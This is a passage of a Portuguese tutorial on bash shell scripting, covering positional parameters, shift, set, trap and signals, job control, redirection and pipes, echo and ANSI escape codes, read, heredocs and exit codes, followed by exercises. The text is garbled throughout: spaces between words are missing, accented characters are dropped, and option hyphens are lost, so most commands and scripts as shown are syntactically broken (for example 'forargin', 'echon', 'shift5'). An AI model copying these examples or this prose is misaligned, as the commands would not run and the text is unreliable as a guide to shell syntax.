echo"Uso:`basename$0`argumento1argumento2etc."
exit1
fi
echo
echo"Listandoargumentoscom\"\$*\":"
num=1
forargin"$*";do
echo"Arg#$num=$arg"
num=$[$num+1]
done
AdbeelGoesFilho
ShellScripts26
#Concluso:$*mostratodososargumentoscomoumanicastring
echo
echo"Listandoargumentoscom\"\$@\":"
num=1
forargin"$@";do
echo"Arg#$num=$arg"
num=$[$num+1]
done
#Concluso:$@mostracadaargumentoemstringsseparadas
echo
shift
Obashpossuiumcomandoembutidoquelidacomparmetros,oshift.Quandovoc
usaoshiftsaioprimeiroparmetrodalistaeosegundovaipara$1oterceirovaipara$2,eassim
pordiante.Vocpodeaindaespecificarquantas"casas"vocquerqueosparmetros"andem"
esquerdaatravsde"shiftn"onde'n'onmerodecasas,masseonmerodecasasqueeledeve
andarformaiorqueonmerodeparmetrososhiftnoexecutado.
Vejaesteexemplo:
#!/bin/bash
echo"$#:$*"
echoe"executando\"shift\""
shift
echo"$#:$*"
echoe"executando\"shift5\""
shift5
echo"$#:$*"
echoe"executando\"shift7\""
shift7
echo"$#:$*"
$./shiftexemplo.sh1234567890
10:1234567890
executando"shift"
9:234567890
executando"shift5"
4:7890
executando"shift7"
4:7890
Osvaloresquesaemsoperdidos.Usecomateno!
AdbeelGoesFilho
ShellScripts27
AdbeelGoesFilho
ShellScripts28
set(paraeditarparmetros)
Oquevoupassarnestetpiconosobrecomousar"todoopoderdocomandoset",e
simcomousar set especificamenteparaeditarparmetros.Notemnenhumsegredo!Vejaeste
exemplo:
setumdoistres
Issofarcomque$1seja'um',$2seja'dois',$3seja'tres'es!
Noexistir$4,$5,etc.mesmoqueelestenhamsidousados.Vejaumexemplodescript:
#!/bin/bash
echo"Os$#parmetrospassadosinicialmenteforam:$@"
echo
echo"eagoraeuvoualterlos!"
echo"comoeusoumau...(huahuahaurisadadiablicahuahuahuha)"
echo
setumdoistres
echo"Os$#novosparmetrosagoraso:$@"
echo
Nointeressaquantosparmetrosvocpassarparaestescript,nofinalvocster$1,
$2e$3valendo'um','dois'e'tres',respectivamente.
Quoting
Oscaracteresabaixotemummodoespecialdetrataroshell:
;&()|^<>newlinespacetab#
caracter deve ser cotado pela precedncia com um \. O par \newline ignorado. Todos os
caracteresfechadosentreopardeacentos(),excetoaspassimplessocotadas.
Um&nofinaldocomandoindicaqueesteirserexecutadoem background. O shell mostrao
nmerodoprocessogerado.
Paraquevocnopercaesteprocessoaoterminarseushell,executeseucomandoassim:
$nohupcomandoargv1argv2...argvn&
Exemplos:
echo$PATH
/usr/bin:/usr/local/bin
AdbeelGoesFilho
ShellScripts29
arquivo=/home/morro.txt
more$arquivo
txt1=Casa
txt2=Mae
txt3=Joana
echo${txt1}da$txt2$txt3
Observequenoltimoexemploforamusadasaschavesparacircundaronomeda
varivel,senooShellpoderiainterpretaravarivelcomotxt1da,oqueseriaonomedavarivel
diferentedetxt1,casoaschavesnofossemusadas,gerandomensagemdeerrodeparmetrono
definido,poisnessecasoavariveltxt1danoexistiria.
Substituiodecomando
A substituiodecomando usadaparasubstituir um comando por seuresultado
dentrodamesmalinhadecomando.Istosertilquandofornecessrioarmazenarasadadeum
comandoemumavariveloupassaressamesmasadaparaoutrocomando.Asintaxeutilizada:
$(comando)ou`comando`
Asubstituiodecomandopermitequevoccaptureoresultadodeumcomandoe
utilizeocomoumargumentoparaoutrocomandoouarmazenesuasadaemumavarivel.
Exemplo:
dir_atual=$(pwd)
cp$(ls*.txt)/home/user1/backup
Substituiodo~(til)
Asubstituiodotilexecutadadeacordocomasseguintesregras:
1. Umtilsozinhoouemfrenteaumabarrasubstituidopelocontedodavarivel
HOME.
Exemplo:
HOME=/home/user3
echo~
2. Umtilseguidodosinalde+substitudopelovalordavarivelPWD.
3. UmtilseguidodesersubstituidopelovalordavarivelOLDPWD.
Exemplo:
echo~
ls1F~/file1
lslogt~+/poodle
ls~
AdbeelGoesFilho
ShellScripts30
Prompting
Quandousadointerativamente,o prompt do shell ovalordavarivelPS1antesda
leituradocomando.Setodotempoumalinhadeveserdigitadaeumanovalinhatecladapara
completarocomando,entoumsegundopromptmostrado.
Input/Output
Antes de um comando ser executado, sua entrada e saida pode ser redirecionada
usandoasnotaesinterpretadaspeloshell.
<word
Usandowordcomoentradapadro
>word
Usandowordcomosaidapadro
>>word
Idemao>,soquenestecasosewordjexistenosobrepe,fazoappend.
<&digit
Usoassociadoaumdescritordearquivocomoentradapadro.Similarpelasaida
padrousando>&digit.Notequedigitprecisaserdeumtamanhoentre0a9.
Exemplo:
...2>&1
Arquivoassociadoaodescritor2comoarquivocorrenteassociadocomodescritordo
arquivo1.NotequeoredirecionamentodeI/Onecessriosevocquersincroniacomstdoute
stderr para o mesmo arquivo. Esta opo bastante usado para se configurar impressoras ou
dispositivosseriais.
ConceitodeSinais
Umsinalumflagtransmitidoparaumprocessoquandocertoseventosocorrem.Os
sinaismaisconhecidosemambiente*IXso:
NULL
HUP
INT
QUIT
KILL
TERM
SaidadoShell(^Douexit)
Hungupenviadoparaprocessosemretaguardanologout
Interrupo(^C)
Quit(^\)geraarquivocore
Mortecerta(Nopodesercapturadoouignorado)
Terminaoporsoftware
Ocomandokilltransmiteumsinalexplcitoparaumoumaisprocessos.
DiitekilllparaobterumalistadesinaisdisponveisnoSO.
OqueumTRAP?
Umtrapumamaneiradecapturarsinaistransmitidosaumprocessoedeexecutar
algumaaobaseadanotipodesinalquefoirecebido.
AtrapsimplesmenteesperaporsinaisenviadosaoShell,identificaoseento,executa
AdbeelGoesFilho
ShellScripts31
aaoassociada.Umatrappodeserdefinidaparaaremoodearquivostemporriosnotrminode
umprogramaoupodedefinirsinaisquedevamserignoradosduranteumsegmentosensvel na
execuodoprograma.
Ocomandotrap
OcomandotrappodeserusadoemprogramasShellparacapturarumsinalantesque
elepossaabortarumprocessoeexecutaralgumaaoadicionaloualternativa.
OscomandostrapsonormalmentecolocadosnoinciodeumSS,maselespodem
estaremqualquerpartedoscript.AstrapssoassinalidaspeloShellquandoesteLocomando
trap.Astrapssoacionadasquandoumsinalrelacionadorecebido.
Sintaxe:
trap'comandos'sinal1sinal2...sinaln
Exemplo:
trap'echobye;exit'2315
whiletru;do
echoHello...
done
Ignorandosinais
Ocomandotrappodeserusadoparaignorardeterminadossinaisquandoestesforemrecebidospelo
processo.
Sintaxe:
trap''sinal1sinal2...sinaln
Exemplo:IgnoraosinalINTqueequivalenteao^C.
trap''2
whiltetrue;do
echoHello...
sleep2
done
Exemplo:gerenciarremoodearquivostemporriosseoprogramaforabortado
trap'rm/tmp/templfile;exit'2315
AdbeelGoesFilho
ShellScripts32
Exemplo:comandoparaignorarsinaisantesdesessoscrticasdecdigo
trap''35
Exemplo:restaurarotrapparaaodefaultquandoumaseodecdigosensvelforcompletada
trapINTQUITTERM
ou
trap2315
Asinterrupesesinaisdetrminoinvocadosporumcomandosoignoradosseeste
comandofoiexecutadoseguidodocaracter&.Outrossinaistemvaloresherdadospelo shell de
shellspai,comexceodosinal11.(sejacomandotrap).
AdbeelGoesFilho
ShellScripts33
Comandosespeciais
break[n]
continue[n]
cd[arg]
echo[arg...]
eval[arg...]
exit[n]
export[name...]
hash[r][name...]
newgrp[arg...]
pwd
read[name...]
return[n]
set[aefhkntuvx[arg...]]
shift[n]
test
times
trap[arg][n]
type[name...]
ulimit[f[n]]
umask[nnn]
unset[name...]
wait[n]
Chamadadosh
Opespodemserespecificadascomumsimplesoumltiplosargumentos,masem
todososcasos,cadaopodeveiniciarcomum.
cstring
Seachavecestpresente,entooscomandosestolendodeumastring.
s
Seachavesestpresente,entooscomandosestolendodaentradapadro,oshell
irdecadaparametroposicional.
i
Seaentradadoshellestiverconectadaaumterminal,entoesteshellinterativo,
Nestecaso:
TERMINATEignorado(entoosinal0nomatashellinterativo).
rShellrestrito.
shpoderetornar:
0Sucesso
AdbeelGoesFilho
ShellScripts34
1Aexecuodoprogramacomerro(VejaComandosespeciais)
2SintaxError(ErrodeSintaxe)
3Signalreceivedthatisnottrapped
6. Exercicios
1. QualashellmaisutilizadapeloAIX/6000?
2. Quaissoosdispositivosdefaultdeentradaesaidautilizadospelosistema?
3. possvelalterarosdispositivosdeentradaesaidapadres?Como?
4. Quetipodeinformaoenviadaparaasaidapadro?
5. Queoutrodispositivopodeserusadonolugardaentradapadro?
6. Utilizandoredirecionamento,comovocfariaparaescreverumpequenotextonoarquivocarta?
7. Qualadiferenaentreossinais>e>>?
8. Qualafinalidadedodispositivonulo?
9. Oredirecionamentoutilizadoemumcomandovlidoparaosprximos?Explique
10.possvelredirecionarmaisdoqueumdispositivopadronumscomando?Casoafirmativo,
faaumexemploredirecionandotodososdispositivospadres.
11.Aordemcomquesofeitososredirecionamentosrelevanteparaaaotomadapelo
comando?Eusandoassociaes?Explique.
12.Expliqueosseguintescomandos:
a)$ls2>&1>saida.do.ls
b)$lsR/>erros2>arvore
c)$mailtoclaudia<carta
d)$cat>>carta
e)$lsl/usr>arvore2>&1
f)$ls>saida.do.ls2>&2
13.Utilizandoasubstituiodecomandos,atribuaadatadehojenoformatodd/mm/yyvarivel
TODAY.Consulteomanualonlineparaverificarquaisosformatospossveisparaaexibiode
datase/ouhoras.
14.Listeocontedododiretriodeoutrousuriousandoasubstituiodotil?
AdbeelGoesFilho
ShellScripts35
15.CrieumavarivelchamadoMYNAMEearmazenenelaoseuprimeironome.Comosemostrao
contedodavarivel?
16.ComofazerparaqueoShellfilhoenxergueocontedodavarivelMYNAME?
17.TorneavarivelTODAYsomenteleitura.possvelexcluirestavarivel?
18.Modifiqueseupromptdecomando,demodoqueelefiquecomaaparnciaaseguir:
[user1]10/10/2000as06:45/home/user1=>
19.Utilizandoasubstituiodecomandocopieocontedode/home/testepara/tmp
20.Exibaocontedodoseudiretriohomenasaidapadro.
21.Copiealistadetalhadadosprocessosemexecuoparaoarquivolista.txtnoseudiretriohome.
22.Sabendoque
a=1
b=2
c=3
Mostrenasaidapadrocomeo32321meio34567fimutilizandoosnomesdas
variveis.
23.EscrevaumSSqueemitaumamensagennasuatelaacada3segundoscomumbip.Torneeste
SSimuneaossinaisINT,HUPeTERM.Comopararesteprograma?
AdbeelGoesFilho
ShellScripts36
Capitulo2.ExecuodeProgramas
Falaremosagorasobreexecuodeprogramasemprimeiroplano(fgforeground)e
emsegundoplano(bgbackground),redirecionamentodesadasetambmsobreoscdigosde
escapedosprogramas.
7. Execuoemforegroundebackground
Quando executamos um programa, o shell fica esperando o mesmo terminar para
depoisnosdevolveralinhadecomando.Porexemplo,quandoexecutamosocomando
cparquivo1arquivo2
o shell executaessecomando,ficaesperandoeleterminar,paradepoisnosretornaralinha de
comando.Issochamaseexecuoemprimeiroplano,ouforeground,emingls.Agoradigamosque
oarquivoasercopiadosejamuitogrande,digamos,50Mb.Enquantoocomandocpexecutado,
vamosficarcomoshellpresoaeletodoessetempo,ouseja,cercade1ou2minutos(Dependendo
damquina).Somenteapsissovamosteralinhadecomandodevoltaparapodermoscontinuar
trabalhando.
Esepudssemosdizeraoshellparaexecutarumprogramaenosretornaralinhade
comandosemficaresperandootalprogramaterminar?Seriamuitomelhor,no?Emalgunscasos
seria.Epodemosfazerisso.Umamaneirafcilcolocarosinalde&depoisdeumcomando.
Noexemploacimaficaria:
virtvs@mucuripe:~$cparquivo1arquivo2&
[1]206
virtvs@mucuripe:~$
Pronto,assimqueteclarmos[enter],teremosanossalinhadecomandodevoltaemais
duasinformaes:"[1]206".
Aprimeirainformao([1])chamasejob.Elaidentificaosprogramasqueestosendo
executadosembg(background).Porexemplo,seexecutarmosmaisumprogramaembgenquanto
este"cp"estsendoexecutado,onovoprogramarecebeojobdenmero2([2])eassimpordiante.
Asegundainformao(206)opiddoprograma,ouseja,onmerodeprocessoqueo
kerneldaesseprograma.
Masatemosumpequenoproblema.Digamosquevocqueiratrazeroprogramapara
AdbeelGoesFilho
ShellScripts37
fg,porexemplo,seoprogramaexecutadoem bg forumtocadordemp3evocquisermudara
msica.Comofazemos?Usamosocomandofg[job](intuitivo,no?)dobash.Noexemploacima,
digamosqueeuexecuteo"cp"em bg,masdepoisqueiratrazlopara fg paracancello.Seria
simples:
virtvs@mucuripe:~$cparquivo1arquivo2&
[1]206
virtvs@mucuripe:~$fg1
cparquivo1arquivo2
Assimtrazemoso"cp"paraprimeiroplanoealinhadecomandosretornaquandoeleterminar.
Opcional
Umaoutramaneiradecolocarumprogramapararodarembgutilizandoumtruque
dobash.Digamosquevocexecuteocomando"cp"eesqueadecolocarosinal"&".Ea?Tem
queficaresperandoacabaroucancelarocomando?No,podemosteclar:Ctrl+Z.Aofazerisso,
paramosaexecuodoprograma.Entosdarocomando
bg[job]
(intuitivotambm,n?):
virtvs@mucuripe:~$cparquivo1arquivo2
*aquiteclamosCtrl+Z*
[1]+Stoppedcpiarquivo1arquivo2
virtvs@mucuripe:~$bg1
[1]+cpiarquivo1arquivo2&
virtvs@mucuripe:~$
QuandoteclamosoCtrl+Z,obashnosdizqueojob1foiparado([1]+Stopped)e
quandoexecutamos"bg1"elenosdizqueocomandovoltouaserexecutado,masembg(repareo
sinalde"&"nofinaldalinha):[1]+cpiarquivo1arquivo2&.
8. Redirecionamento
Muitos programas que executamos geram sadas no console, ou sejam, emitem
mensagensparaosusurios.Porexemplo,queremosacharquantosarquivosnonossosistematem
"netscape"nonome:
virtvs@mucuripe:~$find/namenetscape
/usr/lib/netscape
/usr/lib/netscape/netscape
/usr/lib/netscape/nethelp/netscape
/usr/local/bin/netscape
AdbeelGoesFilho
ShellScripts38
Agorasequisermosprocurarquantosarquivoscompactadoscomogzip(extenso.gz)
tem no nosso sistema para depois analislos e possivelmente apagar os repetidos ou inteis,
teremosumalistamuitogrande.Aquinomeusistemadeumaisde1000arquivos.Ento,seriatil
podermos enviar as mensagens que vo para o console, para um arquivo. Assim, poderamos
analislodepoisdeexecutarocomando.Issoextremamentetilaotrabalharmoscomshellscript
enviarassadasdoscomandosparaarquivosparadepoisanalislas.Exemplificando:
virtvs@mucuripe:~$find/name"*.gz">lista.txt
find:/home/vera:Permissonegada
find:/home/pri:Permissonegada
find:/root:Permissonegada
virtvs@mucuripe:~$
Notamosquenemtudofoiparaoarquivolista.txt.Asmensagensdeerroforamparao
console.Issoporqueexistemdoistiposdesada:asadapadroeasadadeerro.Asadapadroa
sadanormaldosprogramas,quenocasoacima,seriaosarquivosencontrados.Easadadeerro,
comooprprionomediz,sooserroencontradospeloprogramadurantesuaexecuo,quedevem
serinformadosaousurio,comooserrosde"permissonegada".
E a, como selecionar uma ou outra ? simples, apenas devemos indicar o "file
descriptor"(fd)delas.Novamosentraremdetalhessobreoque"descritordearquivos"porfugir
donossoescopoeserumpoucocomplicado,apenastemosquesaberqueofd1correspondeasada
padroeofd2asadadeerro.Assim,noexemploacima,paraenviaroserroparaoarquivo
erros.txteasadapadroparaoarquivolista.txt,usaramos:
virtvs@mucuripe:~$find/name"*.gz"1>lista.txt2>erros.txt
Ouseja,sporonmerodasadadesejadaantesdosinalde">".
Agoradigamosquequeremosverocontedodoarquivolista.txt.Podemosabrlocom
umeditordetextosouusaro"cat".Optandopelaltimaopo:
virtvs@mucuripe:~$catlista.txt
/home/neo/gkrellm0.10.5.tar.gz
/home/neo/linuxcallinterfacebeta.tar.gz
...
<<<maisde1000linhas
virtvs@mucuripe:~$
Temosumproblema.Oarquivotemmaisde1000linhasenoconseguimosvlo
inteiro.Podemosredirecionarasadadocomando"cat"paraocomando"more",quedpausaentre
astelas:
virtvs@mucuripe:~$catlista.txt|more
.........
AdbeelGoesFilho
ShellScripts39
Vejaqueutilizamosocaractere"|",chamado"pipe".Nopoderamosterutilizadoo
sinalde">"?No,osinalde">"somenteparaenviarasadaparaumARQUIVO.Paraenviara
sadadeumcomandoparaaentradadeoutro,usamosopipe.
Asvezesqueremosquealmdasadairparaumarquivo,elatambmvparaatela.
Temosumprograminhaquefazisso.Elechamase"tee".Vejaoexemploaseguir:
virtvs@mucuripe:~$find/name"*.gz"2>erros.txt|teelista.txt
Oquefizemos?Primeiropegamosasadadeerroeenviamosparaoarquivoerros.txt.
Orestante,ouseja,asadapadro,estamosenviandoparaaentradadocomandotee(usandoo
pipe).Oteesimplesmentepegaoqueelerecebe(atravsdopipe)ejoganoarquivolista.txtena
tela. Assim, alm de gravarmos a sada num arquivo, podemos mostrar ao usurio o que est
acontecendo.Issomuitotilquandoescrevemosalgunsscripts.
Resumindo: aprendemos que podemos redirecionar a sada padro ou de erro de
programaparaumarquivousandorespectivamente"1>"ou"2>"outambmenviarasadaparaa
entradadeoutroprogramausandoopipe"|".
echo
Existem alguns momentos que voc no quer que a sada do echo pule de linha
automaticamente.Paraissouseoparmetro"n".Esteparmetrotilquandovocvaientrarcom
algoapsoecho.Vejaestescript:
Exemplo:
#!/bin/bash
echon"Entrecomonomedoarquivo:"
readFILE
echo"Tipodoarquivo`file$FILE`"
Muitaatenodevesertomadaaousaroecho,poisasaspasquevocpodeviradeixardeusar
podemfazerumdiferena(emalgunscasosissopodesermuitotil).
Exemplo:
$echoumaboarededeircqueconhecoehirc.linux.org
umaboarededeircqueconhecoehirc.linux.org
$echo"umaboarededeircqueconhecoehirc.linux.org"
umaboarededeircqueconhecoehirc.linux.org
$
$#agoraumexemplocomvariavel
$
AdbeelGoesFilho
ShellScripts40
$TESTE="primeiralinhadavariavel
>segundalinha
>terceira...
>chega!:)
>"
$echo$TESTE
primeiralinhadavariavelsegundalinhaterceira...chega!:)
$echo"$TESTE"
primeiralinhadavariavel
segundalinha
terceira...
chega!:)
Aestaalturavocjdeveterseperguntado"Comofaoparaimprimircaracteresnova
linhaoubeep?!".Osmaismalandrinhosdevemtertentadoumcontrabarra(backslash)'\',masvoc
nopodesimplesmentefazerisso.necessriousaroparmetro"e"comoecho.Esteparmetro
permitequeusemossequnciasdeescapecontrabarra.
AssequnciassoiguaisadalinguagemC,exemplo:\nparanovalinha,\aparabeep,
\bparabackspace,etc...
Exemplo:
$echoe"modulecaiudecaratentando\"topsoul\".\nQuepaia\a"!
modulecaiudecaratentando"topsoul".
Quepaia!
Oetambmusadoparaescrevercoloridoeoutrascoisasinteressantes.Veremosissonotpico
seguinte.
9. MetacaractereseWildcards
Metacaracteressocaracteresquepossuemalgumsignificadoespecialparaoshell.
Wildcardssosubconjuntosdosmetacaracterescujacaractersticasimplificaralinha
decomando.
Osmetacaracteresewildcardsserovistosnestetrabalhodeumamaneiragradativa,a
medidaemquesejamnecessrios.Algunsdelesjforamvistosnoredirecionamento(><e>>).
Vejamaisalguunsmetacaracteres:
Caracteres
Definio
Continuaodelinha
Agrupamentodecomandos
AdbeelGoesFilho
ShellScripts41
Caracteres
|
Definio
ProcessamentoSequenciado
Ocaracter\(continuaodelinha)permitecontinuaraescreverocomandonalinha
subsequente,casoomesmosejaextenso,ouseja,nocaibaemumaslinhadatela.Ressaltamos
quenodeverhaverespaoembrancoapsestecaractere.Apspressionarmosatecla[ENTER]o
shellmostrarumnovopromptdefault(>)chamadodesecundrio,informandoquealinhacorrente
acontinuaodalinhaanterior.
Exemplo:
$cat/home/chico/public_html/index.html\
>/home/maria/public_html/index.html
Ocaracterdeagrupamentodecomando(;)permiteagruparoscomandosemuma
mesmalinha.
Sintaxe:
Exemplo:
$comando1;comando2
$ls;pwd
Istoequivalenteadigitar
$ls
$pwd
importanteobservarqueosegundocommandonodependedarespostadoprimeiro
comando,ouseja,nohrelacionamentoentreeles.
Pipes
Pipes outubos(|)umaoutraformadeagruparcomandosemumamesmalinha,
porm,hrelacionamentoentreoscomandos.
Quandutilizamoso|(pipe),eleinformaao shell paraconectarasaidapadrodo
primeirocomandocomaentrada padrodosegundocomando.Porsuavez,asaidadosegundo
comandodirecionadaparaasaidapadro.
Paraummelhorentendimentoimaginequealinhadecomandoumtuboporonde
devepassarainformaodoprimeirocomandoparaosegundo,dosegundoparaoterceiroeassim
sucessivamente,atqueoltimocomandodirecioneasaidaparaasaidapadro.
Agoravejamosopipe.Suasintaxe:
$programa1|programa2
AdbeelGoesFilho
ShellScripts42
Opipeusadoparavocfazerdasadadeumprogramaaentradadeoutro(como
usadonoexemploamarelinho.shjmostradoanteriormente).Apesardesimplesopipemuitotil
epoderoso.Vejaesteexemplomuitosimples:
$who
meleutty1Nov2001:40
hacktty2Nov2001:45
roottty3Nov2002:44
$who|cutc9
meleu
hack
root
ComandosteiscomoPipe
xargs
Oxargstransformastdinemargumentosdalinhadecomando.Vamosusaroexemplo
anteriordenovo:
Exemplo:
$who|cutc9#lembrando:pipetransformastdoutemstdin
meleu
hack
root
$#"echo"naolearquivo,eleusaargumentos.
$#Alinhaabaixonaotemutilidade.
$who|cutc09|echo
$#"xargs"transformaoconteudodestdinemargumentos
$who|cutc09|xargsecho
meleuhackroot
Comoeugostodofindnoresistiecolocareiumcomandointeressantequeusapipeexargs:
$find/perm2!typel!typec|xargslsld>wordwritable.txt
tee
Outro comando bom de se usar com pipe o "tee". Ele faz com que a sada do
programavparaasadapadro,normalmenteatelaeparaumarquivoaomesmotempo.como
sevocfizesse"programa>arquivo"squeosadadoprogramatambmseriaescritanasada
padro.Experimente:
AdbeelGoesFilho
ShellScripts43
$lsla|teeconteudo.txt
Ocomandoechoeoscracteresdesaida
\b
\c
\f
\n
\r
\t
\a
\\
\0nnn
Backspace
Suprimeaterminaonewline
Alimentaodeformulrio
Novalinha(NewLine)
CarriageReturn
Tabulao
Caracteredealerta
Barrainvertida
CaracteredecdigoASCIIemoctal
AdbeelGoesFilho
ShellScripts44
10.SequnciasdeEscapeANSI
Parausarcoresasequnciadeescape"\e[<NUM>m"(ossinais'<'e'>'noentram!).
Vejaumexemplo(maisafrentevocvertabelascomossignificadosdestassequncias):
Examplo:
#!/bin/bash
#imprimeamarelinhonocentrodalinha
#Avarivel$COLUMNScontmonmerodecolunasqueoterminalest
#usando,eantesdeexecutarestescriptvocprecisaexportla:
#[prompt]$exportCOLUMNS
[$COLUMNS]||{
echoVocprecisaexportaravarivel\"COLUMNS\":
echo"Tente\"exportCOLUMNS\"etenteexecutarnovamente"
exit1
}
POSICAO=$[($COLUMNS`exprlength"$*"`)/2]
#`exprlength"$*"`retornaonmerodecaracteresdigitados
#comoparmetros.
echoe"\e[${POSICAO}C\e[33;1m$*\e[0m"
Agoraumaexplicaoligeira:o\edizaoechoqueoquevemdepoisumasequncia
deescape.Sevocderasequncia'[<num>C',ondenumumnmeroqualquer,ocursorvaiandar
"num"caraceteresparaadireita.AcimaeuusoavarivelPOSICAOparamoverocursorparao
centrodalinha(vejaoclculonocdigo).
Ocomando'[<num>m'mudaparaacor"num".Cadacortemumcdigoprprio.No
exemploacimao33fazficarmarrom,pormcombinandocomo1ficaamarelo(issonomodo
texto,poisnoxterm,porexemplo,o1fazomarromficaremnegrito.vejaOBSERVAESmais
adiante).Vejatambmumatabelacomoscdigosdemovimentaodecursorqueeuconheo(os
caracteres'<'e'>'devemserignorados):
AdbeelGoesFilho
ShellScripts45
Cdigo
Oquefaz
\e[<N>A
MoveocursorNlinhasacima.
\e[<N>B
MoveocursorNlinhasabaixo.
\e[<N>C
MoveocursorNcolunasdireita.
\e[<N>D
MoveocursorNcolunasesquerda.
\e[<N>E
MoveocursorNlinhasparabaixonacoluna1.
\e[<N>F
MoveocursorNlinhasparacimanacoluna1.
\e[<N>G
ColocaocursornalinhaN.
\e[<L>;<C>H
ColocaocursornalinhaLenacolunaC.
\e[<N>I
MoveocursorNtabulaesdireita.
\e[<N>J
N=0Apagadocursoratofimdatela;
N=1Apagadocursoratoinciodatela;
N=2Apagaatelatoda.
\e[<N>K
N=0Apagadocursoratfimdalinha;
N=1Apagadocursoratoinciodalinha;
N=2Apagaalinhatoda.
\e[<N>L
AdicionaNlinhasembrancoabaixodaatual.
\e[<N>M
ApagaNlinhasabaixodaatual.
\e[<N>P
ApagaNcaracteresadireita.
\e[<N>S
MoveatelaNlinhasparacima.
\e[<N>T
MoveatelaNlinhasparabaixo.
\e[<N>X
LimpaNcaracteresdireita(comespaos).
\e[<N>@
AdicionaNespaosembranco.
\e[s
Salvaaposiodocursor.
\e[u
Restauraaposiodocursorquefoisalva.
AdbeelGoesFilho
ShellScripts46
Agora uma tabelinha dos atributos e seus nmeros (N deve estar no formato
"\e[<N>m"):
Atributo
Cor
Desligartodosatributos
Preto
Negrito
Vermelho
CorXparaoprimeiroplano
3X
Verde
CorXparaosegundoplano
4X
Marrom
Sublinhado
Azul
Piscando(blink)
Roxo
Videoreverso
Ciano
Branco
OBSERVAES:
read
Comovocviunoscriptanteriorparaentrarcomumdadousase"read".Oreadtem
alguns"macetinhos".Pracomear:vocnoprecisacolocarumechotodahoraqueforusaroread
paraescreverumprompt.Bastafazer"readppromptvariavel"
Vejaestaseodeexemplos:
Examplo:
#!/bin/bash
readp"Entrecomumastring:"string
echo$string
$./read1.sh
AdbeelGoesFilho
ShellScripts47
Entrecomumastring:klogdehumtremendocachacero!
klogdehumtremendocachacero!
Examplo:
#!/bin/bash
readp"Entrecom3strings:"s1s2s3
echo"s1=$s1s2=$s2s3=$s3"
Examplo:
$./read2.sh
Entrecom3strings:j00nixehcabecudo
s1=j00nixs2=ehs3=cabecudo
#omesmoscriptcommaisde3strings#
$./read2.sh
Entrecom3strings:eSc2adoraficardecopy'n'pastenoIRC.
s1=eSc2s2=adoras3=ficardecopy'n'pastenoIRC.
Quandoo"read"vailerapenasumavarivel,todaastringvaiseratribudaaesta
varivel.Quandovailermaisdeumavariveleleatribuicadastringasuarespectivavarivel;e
quandoonmerodestringsexcedeonmerodevariveisaltimaficacomoexcedente.
Oparmetro"s"serveparanoecoaroquefordigitado.tilparadigitarumasenha
porexemplo.Tente"readsPASS"eveja.
Voc tambm pode determinar o nmero de caracteres que sero lidos com o
parmetro"n".Tentefazer"readn10VAR".Mascuidado:aousaraoponvocnopoder
usarobackspaceparafazercorrees.
Aopo"r"serveparaqueacontrabarra(backslash)noajacomoumcaracterde
escape.
3.
Redirecionamento
Quemjsabeprogramardevesaberqueexistemtrs"filedescriptors"abertospor
padro(pelomenosnossistemasoperacionaisqueconheo):
stdin(standardinput),stdout(standardoutput)estderr(standarderror).Parafinsprticos,estesso
consideradosarquivosevocpodedirecionardestes"arquivos"paraoutroseviceversa.
AdbeelGoesFilho
ShellScripts48
Vejacomodirecionarde:
arquivoparastdin
$programa<arquivo
stdoutparaarquivo
$programa>arquivo
stderrparaarquivo
$programa2>arquivo
stdoutparastderr
$programa1>&2
stderrparastdout
$programa2>&1
stdoutestderrparaarquivo
$programa&>arquivo
Sevocusarporexemplo"find/perm2>worldwritable.txt"enodiretrionotiver
umarquivochamado"worldwritable.txt"estesercriado,asadadocomandosergravadaneleea
sadadeerropadroserimpressanatela.Paranoverasmensagensde"PermissionDenied"faa
isso:
$find/perm2>worldwritable.txt2>/dev/null
Ainda temos um probleminha: este comando ir mostrar tambm todos os links
simblicosevriosarquivosdedispositivo.Paraeliminaroslinkssimblicosfaaoseguinte:
$find/perm2!typel>worldwritable.txt2>/dev/null
Se o arquivo j existir seu contedo ser sobregravado. Mas voc pode apenas
concatenarocontedonofinaldoarquivousando">>".Exemplo:
$echo"FIMDOARQUIVO">>worldwritable.txt
Vejaestescriptaseguiraexecuteeleusandoredirecionamentonalinhadecomando
praverosresultados
#!/bin/bash
echo"Istovaiparaasadapadro."
echo"Istovaiparaasadadeerropadro."1>&2
echo"Istovaicriarumarquivoecolocarestalinhanele.">ARQUIVO
echo"Estalinhavaiparaofinaldoarquivo.">>ARQUIVO
Temumoutrotipoderedirecionamentoquebastantetil.assim:
$programa<<delimitador
Istoquerdizerqueoprogramavaileroarquivostdinatencontrarodelimitador.Issomuitotil
parausarprogramasexternosatravsdeshellscripts.
Vocpode,porexemplo,usarestetipoderedirecionamentoparafazerumshellscriptescreverum
outro arquivo usando o comando "cat". Vamos a um exemplo em que eu crio um cdigo de
AdbeelGoesFilho
ShellScripts49
programaescritoemCatravsdoscript(notequeasvariveisdoscriptSOinterpretadas):
#!/bin/bash
NAME=`whoami`
echoe"\n\tCRIANDOOARQUIVOarquivo.c\n"
#Oarquivo.cterminarquandoencontrarastring_EOF_
cat<<_EOF_>arquivo.c
#include<stdio.h>
intmain(void){
printf("\n\tProgramaquenofaznadaalmdisso.\n");
printf("\tFeitopor$NAME\n\n");
return0;
}
_EOF_
#Oarquivo.cacabounalinhaACIMAdo_EOF_
#Observenoarquivo.co$NAMEser"traduzido"paraousernameadequado
echoe"\n\tCOMPILANDOOPROGRAMA\n"
gccarquivo.coarquivo
echoe"\n\tFEITO!\n"
11.CdigosdeEscape
TodavezqueexecutamosumprogramaemUnix,eleretornaumcdigodeescapeao
finalizar.Essecdigorefleteacondioemqueoprogramafinalizou.Seocorreutudocertoeo
programaterminounormalmente,eleretorna0.Seocorreualgumproblema,oprogramaretornaum
cdigodiferentede0,geralmentevariandocomoproblemaocorrido.
Essecdigoderetornoextremamenteimportanteem shell script,poisassimque
testamosseumacertaaoocorreubemouteveproblemas.Essecdigoarmazenadopelobash
numavarivelchamada"?"(issomesmo,somenteosinaldeinterrogao;)).
Porexemplo,vamosexecutarum"ls"emumdiretrioqueexisteeverocdigoderetorno:
virtvs@mucuripe:~$ls/boot
System.mapboot.0300boot.bboot_message.txtchain.bconfigmapos2_d.b
virtvs@mucuripe:~$echo$?0
virtvs@mucuripe:~$
AdbeelGoesFilho
ShellScripts50
Ouseja,o"ls"foiexecutadonormalmente,retornando0.Agoravamosexecutlonumdiretrioque
noexiste:
virtvs@mucuripe:~$ls/diretorio_invalido
/bin/ls:/diretorio_invalido:Arquivooudiretrionoencontrado
virtvs@mucuripe:~$echo$?
1
virtvs@mucuripe:~$
Comoesperado,obtemosoretornodeerro1.
